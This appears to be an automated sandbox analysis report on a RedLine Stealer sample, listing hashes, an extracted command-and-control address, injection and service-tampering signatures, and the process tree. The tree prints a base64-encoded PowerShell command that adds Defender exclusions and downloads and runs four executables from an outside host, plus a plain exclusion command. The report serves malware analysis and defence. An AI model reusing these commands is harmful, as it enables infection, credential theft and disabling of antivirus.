Analysis
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max time kernel
42s -
max time network
44s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
02/01/2023, 13:11
Static task
static1
Behavioral task
behavioral1
Sample
9b1a7106c9059379d3e50abf93d63bc156b81cc1.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
9b1a7106c9059379d3e50abf93d63bc156b81cc1.exe
Resource
win10v2004-20221111-en
General
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Target
9b1a7106c9059379d3e50abf93d63bc156b81cc1.exe
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Size
119KB
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MD5
8768624262961d13c13c3d59a7483dd4
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SHA1
9b1a7106c9059379d3e50abf93d63bc156b81cc1
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SHA256
421fb3c3e9b2d45d1a831d5a3cf1e7a6574dae2cfc110c75a8688b023ad723d6
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SHA512
44ab5a6b5e42ff38eee5ea516f36c4962634412335f3a78132d129972fc9038d9b9d4d594b7dfff19fc66d050012cbbbf9e316521ce45159a9caa2eb3f40201d
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SSDEEP
3072:iISDRIJX/nbVdzrz5XhBWJekHzTUuAngc1I5yHWXKc:o14/nzVhBYHMNHWXKc
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/2880-176-0x0000000000420000-0x0000000000440000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 220 created 2744 220 SmartDefRun.exe 19 PID 220 created 2744 220 SmartDefRun.exe 19 PID 220 created 2744 220 SmartDefRun.exe 19 PID 220 created 2744 220 SmartDefRun.exe 19 PID 2648 created 584 2648 powershell.EXE 5 -
Blocklisted process makes network request 1 IoCs
flow pid Process 5 5008 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 2220 C4Loader.exe 4388 new2.exe 2152 SysApp.exe 220 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4892 set thread context of 4744 4892 9b1a7106c9059379d3e50abf93d63bc156b81cc1.exe 81 PID 4388 set thread context of 2880 4388 new2.exe 92 PID 220 set thread context of 4804 220 SmartDefRun.exe 112 PID 2648 set thread context of 1040 2648 powershell.EXE 117 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3380 sc.exe 4648 sc.exe 3872 sc.exe 2712 sc.exe 3904 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 3000 4892 WerFault.exe 79 4232 4388 WerFault.exe 87 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 36 IoCs
pid Process 5008 powershell.exe 5008 powershell.exe 2152 SysApp.exe 2152 SysApp.exe 2152 SysApp.exe 2152 SysApp.exe 2152 SysApp.exe 2152 SysApp.exe 2152 SysApp.exe 2152 SysApp.exe 2152 SysApp.exe 2152 SysApp.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 2780 powershell.exe 2780 powershell.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 3388 powershell.exe 3388 powershell.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 2880 vbc.exe 4924 powershell.EXE 2648 powershell.EXE 2648 powershell.EXE 4924 powershell.EXE 2648 powershell.EXE 1040 dllhost.exe 1040 dllhost.exe 1040 dllhost.exe 1040 dllhost.exe 1040 dllhost.exe 1040 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5008 powershell.exe Token: SeDebugPrivilege 2780 powershell.exe Token: SeDebugPrivilege 3388 powershell.exe Token: SeIncreaseQuotaPrivilege 3388 powershell.exe Token: SeSecurityPrivilege 3388 powershell.exe Token: SeTakeOwnershipPrivilege 3388 powershell.exe Token: SeLoadDriverPrivilege 3388 powershell.exe Token: SeSystemProfilePrivilege 3388 powershell.exe Token: SeSystemtimePrivilege 3388 powershell.exe Token: SeProfSingleProcessPrivilege 3388 powershell.exe Token: SeIncBasePriorityPrivilege 3388 powershell.exe Token: SeCreatePagefilePrivilege 3388 powershell.exe Token: SeBackupPrivilege 3388 powershell.exe Token: SeRestorePrivilege 3388 powershell.exe Token: SeShutdownPrivilege 3388 powershell.exe Token: SeDebugPrivilege 3388 powershell.exe Token: SeSystemEnvironmentPrivilege 3388 powershell.exe Token: SeRemoteShutdownPrivilege 3388 powershell.exe Token: SeUndockPrivilege 3388 powershell.exe Token: SeManageVolumePrivilege 3388 powershell.exe Token: 33 3388 powershell.exe Token: 34 3388 powershell.exe Token: 35 3388 powershell.exe Token: 36 3388 powershell.exe Token: SeIncreaseQuotaPrivilege 3388 powershell.exe Token: SeSecurityPrivilege 3388 powershell.exe Token: SeTakeOwnershipPrivilege 3388 powershell.exe Token: SeLoadDriverPrivilege 3388 powershell.exe Token: SeSystemProfilePrivilege 3388 powershell.exe Token: SeSystemtimePrivilege 3388 powershell.exe Token: SeProfSingleProcessPrivilege 3388 powershell.exe Token: SeIncBasePriorityPrivilege 3388 powershell.exe Token: SeCreatePagefilePrivilege 3388 powershell.exe Token: SeBackupPrivilege 3388 powershell.exe Token: SeRestorePrivilege 3388 powershell.exe Token: SeShutdownPrivilege 3388 powershell.exe Token: SeDebugPrivilege 3388 powershell.exe Token: SeSystemEnvironmentPrivilege 3388 powershell.exe Token: SeRemoteShutdownPrivilege 3388 powershell.exe Token: SeUndockPrivilege 3388 powershell.exe Token: SeManageVolumePrivilege 3388 powershell.exe Token: 33 3388 powershell.exe Token: 34 3388 powershell.exe Token: 35 3388 powershell.exe Token: 36 3388 powershell.exe Token: SeIncreaseQuotaPrivilege 3388 powershell.exe Token: SeSecurityPrivilege 3388 powershell.exe Token: SeTakeOwnershipPrivilege 3388 powershell.exe Token: SeLoadDriverPrivilege 3388 powershell.exe Token: SeSystemProfilePrivilege 3388 powershell.exe Token: SeSystemtimePrivilege 3388 powershell.exe Token: SeProfSingleProcessPrivilege 3388 powershell.exe Token: SeIncBasePriorityPrivilege 3388 powershell.exe Token: SeCreatePagefilePrivilege 3388 powershell.exe Token: SeBackupPrivilege 3388 powershell.exe Token: SeRestorePrivilege 3388 powershell.exe Token: SeShutdownPrivilege 3388 powershell.exe Token: SeDebugPrivilege 3388 powershell.exe Token: SeSystemEnvironmentPrivilege 3388 powershell.exe Token: SeRemoteShutdownPrivilege 3388 powershell.exe Token: SeUndockPrivilege 3388 powershell.exe Token: SeManageVolumePrivilege 3388 powershell.exe Token: 33 3388 powershell.exe Token: 34 3388 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4892 wrote to memory of 4744 4892 9b1a7106c9059379d3e50abf93d63bc156b81cc1.exe 81 PID 4892 wrote to memory of 4744 4892 9b1a7106c9059379d3e50abf93d63bc156b81cc1.exe 81 PID 4892 wrote to memory of 4744 4892 9b1a7106c9059379d3e50abf93d63bc156b81cc1.exe 81 PID 4892 wrote to memory of 4744 4892 9b1a7106c9059379d3e50abf93d63bc156b81cc1.exe 81 PID 4892 wrote to memory of 4744 4892 9b1a7106c9059379d3e50abf93d63bc156b81cc1.exe 81 PID 4744 wrote to memory of 5008 4744 vbc.exe 84 PID 4744 wrote to memory of 5008 4744 vbc.exe 84 PID 4744 wrote to memory of 5008 4744 vbc.exe 84 PID 5008 wrote to memory of 2220 5008 powershell.exe 86 PID 5008 wrote to memory of 2220 5008 powershell.exe 86 PID 5008 wrote to memory of 2220 5008 powershell.exe 86 PID 5008 wrote to memory of 4388 5008 powershell.exe 87 PID 5008 wrote to memory of 4388 5008 powershell.exe 87 PID 5008 wrote to memory of 4388 5008 powershell.exe 87 PID 5008 wrote to memory of 2152 5008 powershell.exe 88 PID 5008 wrote to memory of 2152 5008 powershell.exe 88 PID 5008 wrote to memory of 2152 5008 powershell.exe 88 PID 5008 wrote to memory of 220 5008 powershell.exe 89 PID 5008 wrote to memory of 220 5008 powershell.exe 89 PID 4388 wrote to memory of 2880 4388 new2.exe 92 PID 4388 wrote to memory of 2880 4388 new2.exe 92 PID 4388 wrote to memory of 2880 4388 new2.exe 92 PID 4388 wrote to memory of 2880 4388 new2.exe 92 PID 4388 wrote to memory of 2880 4388 new2.exe 92 PID 1656 wrote to memory of 3872 1656 cmd.exe 102 PID 1656 wrote to memory of 3872 1656 cmd.exe 102 PID 1656 wrote to memory of 2712 1656 cmd.exe 103 PID 1656 wrote to memory of 2712 1656 cmd.exe 103 PID 1656 wrote to memory of 3904 1656 cmd.exe 104 PID 1656 wrote to memory of 3904 1656 cmd.exe 104 PID 1656 wrote to memory of 3380 1656 cmd.exe 105 PID 1656 wrote to memory of 3380 1656 cmd.exe 105 PID 1656 wrote to memory of 4648 1656 cmd.exe 106 PID 1656 wrote to memory of 4648 1656 cmd.exe 106 PID 1656 wrote to memory of 4176 1656 cmd.exe 107 PID 1656 wrote to memory of 4176 1656 cmd.exe 107 PID 1656 wrote to memory of 1128 1656 cmd.exe 108 PID 1656 wrote to memory of 1128 1656 cmd.exe 108 PID 1656 wrote to memory of 2508 1656 cmd.exe 109 PID 1656 wrote to memory of 2508 1656 cmd.exe 109 PID 1656 wrote to memory of 736 1656 cmd.exe 110 PID 1656 wrote to memory of 736 1656 cmd.exe 110 PID 1656 wrote to memory of 4332 1656 cmd.exe 111 PID 1656 wrote to memory of 4332 1656 cmd.exe 111 PID 220 wrote to memory of 4804 220 SmartDefRun.exe 112 PID 2648 wrote to memory of 1040 2648 powershell.EXE 117 PID 2648 wrote to memory of 1040 2648 powershell.EXE 117 PID 2648 wrote to memory of 1040 2648 powershell.EXE 117 PID 2648 wrote to memory of 1040 2648 powershell.EXE 117 PID 2648 wrote to memory of 1040 2648 powershell.EXE 117 PID 2648 wrote to memory of 1040 2648 powershell.EXE 117 PID 2648 wrote to memory of 1040 2648 powershell.EXE 117 PID 2648 wrote to memory of 1040 2648 powershell.EXE 117 PID 2648 wrote to memory of 1040 2648 powershell.EXE 117 PID 1040 wrote to memory of 584 1040 dllhost.exe 5 PID 1040 wrote to memory of 668 1040 dllhost.exe 3 PID 1040 wrote to memory of 952 1040 dllhost.exe 75 PID 1040 wrote to memory of 1020 1040 dllhost.exe 74 PID 1040 wrote to memory of 512 1040 dllhost.exe 73 PID 1040 wrote to memory of 712 1040 dllhost.exe 9 PID 1040 wrote to memory of 1064 1040 dllhost.exe 10 PID 1040 wrote to memory of 1088 1040 dllhost.exe 71 PID 1040 wrote to memory of 1108 1040 dllhost.exe 70 PID 1040 wrote to memory of 1196 1040 dllhost.exe 69
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:668
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:584
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1020
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ecb387ba-a839-4bc5-ab69-0dbcd77ec4b9}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1040
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:712
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1388
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2096
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2636
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:2996
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3436
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3272
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2744
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C:\Users\Admin\AppData\Local\Temp\9b1a7106c9059379d3e50abf93d63bc156b81cc1.exe"C:\Users\Admin\AppData\Local\Temp\9b1a7106c9059379d3e50abf93d63bc156b81cc1.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4892 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5008 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:2220
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
PID:2880
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 5086⤵
- Program crash
PID:4232
-
-
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2152
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:220
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 2723⤵
- Program crash
PID:3000
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
